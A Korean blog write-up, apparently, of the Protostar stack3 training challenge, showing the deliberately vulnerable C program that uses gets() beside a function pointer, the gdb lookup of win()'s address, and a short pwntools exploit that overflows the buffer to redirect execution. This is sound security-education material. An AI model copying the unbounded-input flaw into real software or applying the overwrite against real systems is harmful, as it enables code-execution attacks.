Protostar stack-3 |실행 흐름 변조|
2023. 2. 3. 14:00ㆍPwnable/프로토스타_시스템해킹
문제의 소스코드는 다음과 같다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
buffer을 get 방식으로 받아오고 if 문을 통해 fp 값이 0이 아닐때 문자열을 출력하고
win 값이 어쩌고 저쩌고 되면 성공 문자열을 출력시키는 거 같다.
먼저 buffer 값이 64바이트 풀로 채워지게 'A'를 64개를 넣어 실행시켜보자.
다음과 같이 아무일이 일어나지 않는다. // ( fp == 0 이 성립되어 아무일도 일어나지 않는다 )
64비트를 넘어 더 A를 넣어서 65개를 실행시키면
다음과 같이 함수 포인터가 0x00000041 로 이동되었다는 것을 확인할 수 있다. ++ (ffp 값이 0이 아니게 되어 해당 문자열을 출력 한다.)
그러면 win 함수로 들어가서 성공 문자열을 출력 시키기위해 jumping to (win 함수 주소)가 출력되면 될 것이다.
gdb인 gef를 통해 win 함수의 주소를 알아보자.
win 함수의 주소가 0x08048424 인것을 확인할 수 있다.
이를 통해 pwntools을 활용해 exploit 코드를 짜봤다.
from pwn import *
p = process('./stack3')
win__addr = p32(0x08048424)
payload = b"A" * 64
payload += win__addr
p.sendline (payload)
print (p.recvrepeat(10))
익스플로잇을 수행시키면 다음과 같이 성공 화면을 볼 수 있다!
야호 성공이다!
'Pwnable > 프로토스타_시스템해킹' 카테고리의 다른 글
Protostar -stack7- ROP 공격기법 (0) | 2023.03.05 |
---|---|
Protostar -stack 4 - (0) | 2023.02.13 |
Protostar stack-2 (0) | 2023.02.01 |
Protostar-Stack1 (Buffer Over flow) (0) | 2023.01.23 |
Protostar-Stack0 (Buffer Over Flow 공격) (0) | 2023.01.21 |